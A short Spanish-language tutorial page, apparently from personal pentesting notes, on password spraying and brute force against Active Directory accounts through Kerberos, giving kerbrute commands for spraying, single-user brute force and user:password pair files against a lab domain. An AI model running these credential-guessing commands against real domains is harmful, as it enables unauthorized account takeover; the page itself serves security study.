> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/kerberos/password-spraying-with-kerberos.md).
# Rociado de contraseñas con Kerberos
### Principio
**Rociado de contraseñas** consiste en probar la misma contraseña en varios usuarios.
A diferencia de un ataque de fuerza bruta clásico, evitamos probar muchas contraseñas en una sola cuenta, lo que reduce el riesgo de bloqueo de la cuenta.
### Rociado de contraseñas con Kerbrute
Ejemplo con una contraseña específica:
{% code overflow="wrap" %}
```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```
{% endcode %}
Este comando prueba la contraseña `Password123` en todos los usuarios enumerados en `usernames.txt`.
### Fuerza bruta sobre un usuario específico
Si queremos probar varias contraseñas en un usuario específico:
{% code overflow="wrap" %}
```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```
{% endcode %}
Aquí, `passwords.txt` contiene una lista de contraseñas.
### Fuerza bruta con pares usuario/contraseña
También podemos usar un archivo que contenga pares en el formato:
```
usuario:contraseña
```
Ejemplo:
```
Administrator:password12345
Jordan:hello1453
user1:Password123
```
Orden :
{% code overflow="wrap" %}
```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```
{% endcode %}
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